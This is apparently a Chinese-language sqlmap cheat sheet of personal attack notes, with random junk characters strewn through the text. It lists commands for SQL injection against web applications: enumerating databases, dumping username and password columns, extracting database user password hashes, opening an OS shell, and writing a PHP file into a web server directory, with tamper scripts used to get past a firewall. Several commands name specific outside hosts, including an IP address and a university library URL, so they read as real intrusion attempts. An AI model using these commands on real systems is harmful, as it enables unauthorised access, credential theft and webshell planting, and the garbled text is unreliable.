/pentest/database/sqlmap M! b8 V7 }% z- e( e6 D
; T3 B, i2 _2 @1 d) O
update :::::> in the folder after execute following order : svn update
3 a5 v O. G) r8 I
1 H# s0 J6 M3 R* }2 T# msqlmap.py -r 1.txt --current-db; p5 J; t% o1 N: Z( k/ ~6 p
2 ?( Y' n) L R* ~) Uv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”6 @' k, V! l/ P( v6 p3 S" T8 |7 X
- O2 k; ?6 K' Y5 f7 B/ q: i==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
1 S5 S1 {* R7 f J猜解数据库
& e$ ?, [; H$ R5 O./sqlmap.py -u "injection-url" --dbs
9 T1 [) e9 ?* v0 C3 P) E: Zsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py". s" a$ _; X" ?8 q
( r% @3 x4 S* D2 I0 q猜解表名/ H) H1 a' G# g7 `
./sqlmap.py -u "injection-url" -D database_name --tables8 \0 a$ `/ ^" I- x* K% G+ \+ q
% f9 g% X2 I. C' O/ l
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"4 v+ u& b5 k& a2 |) E
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
p8 f7 Z% U5 x1 Y
4 h5 I) w, a! Q7 Q3 `. ssqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump9 I8 I. s) K# `* h
& O6 ~. e& H: b9 }
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
3 W2 Z: U6 p6 P @9 z. e' O) jsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
. s, j7 p* R- r* f( _) f1 C) esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
. |; z. r. j2 ?5 L( E9 ^sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
- k K' a I( T9 w1 r1 g! m+ ^$ P$ }/ y/ J9 D
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
# A2 Q2 v$ b6 M. ]" J, t7 z# o/ tsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
7 Y' P- q& s: X9 `sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"; z. l, ]0 X" e( H6 v6 s- `
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"6 e4 m% P# S( f9 e3 M
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump) u# P1 ]- \6 x) S3 Z% ^
7 l) |! q3 U2 J; j8 L7 P+ f& a
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
% A2 m5 C% I1 Usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py", v- a+ z! ]- h' g/ w' L4 P6 I
; I0 D& d( Q* ?% E$ Hsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
0 v5 `0 J C# E猜解列名
$ ?' t1 z& J$ }* S) D! _8 L./sqlmap.py -u "injection-url" -D database_name -T table_name --columns' p6 Y* Q7 e1 [; K4 L; L
; V/ @ [5 g( A$ ]+ {% r
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 3 w# A) s3 W3 z4 h. ~4 r5 o' K
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
6 Y+ }# g6 O# F7 b: m A3 Bsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
5 X) a& S* |" v
( \) {/ e% N1 q9 usqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"! h. J0 S8 V9 j
&submit=Go
: p( m( H1 y( w& h% u猜解值6 E* K' t r6 S( r" R% ~
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump5 ?" X0 i+ C5 k
========================================================
# ]- U6 _: C/ i- m, S4 t2 j7 T; K5 [3 q搜索表名中包括mana字符的 }4 Y8 n: A- _) _7 U* x9 T
/sqlmap.py -u "injection-url" -T mana --search/ r& {& A0 W0 N& ?" G# ~$ I
返回一个交互式sql shell
! O8 p7 u |- ?/sqlmap.py -u "injection-url" --sql-shell; V* o9 _ H1 n4 J: \) ~
读取指定文件(需权限)6 U. Q3 A. ~' g# Q6 p! f
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"& k; o$ X' R3 f7 j- I+ j8 `
查看当前 用户 及 数据库 2 M8 M# R& }1 r8 W" R
/sqlmap.py -u "injection-url" --current-user --current-db: v8 Y7 m5 ?/ F" Z, F% E0 A' l9 ^
本地文件 写入 远程目标绝对路径8 y8 b7 {4 A: b p& D+ a) Y
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径% q4 e1 U1 z: L( b2 E
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
2 s: U7 {! Y: l3 h! l; R% m' l/ J$ r3 a8 k. b
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径$ Q4 H. L$ w" u; A, e
查看某用的权限 g1 _& r c4 d" e, [
/sqlmap.py -u "injection-url" --privileges -U root- {' w/ n! P. L# d+ G, I: e
查看当前用户是否为dba% Y7 R9 Y$ D* L+ C/ V
/sqlmap.py -u "injection-url" --is-dba% T5 `2 L" P7 d: H2 |# X
读取所有数据库用户或指定数据库用户的密码7 p" \" k+ Z/ A+ h
sqlmap.py -r 1.txt --users --passwords
% S) U$ g" |0 Psqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 6 q( a$ D. s5 {
# b i0 K; L5 k/ T. Q: `7 u+ t, R: W" c
/sqlmap.py -u "injection-url" --passwords -U root+ U8 q7 ~$ F# E6 z. m Z
& w; r7 A% n5 ]2 R--start&&--stop 与 --first&&--last 的区别4 Z. j. D3 {, U8 V! F
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)% }$ q# x7 D% \& P7 d" w
4 D, [0 i" D* |1 z
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
2 @2 v) U. t1 X. _+ l" ~" [+ _% m$ b5 a/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables% r) t. Y' X G) H) C, `. G+ f# L
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
0 c" D# R* D7 ]# T
; v' a2 ?7 w6 X5 z执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)8 o9 }( `) B/ P! }5 J
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"4 {( N6 |2 S; B7 J( m
2 n/ }, l/ c7 d2 | |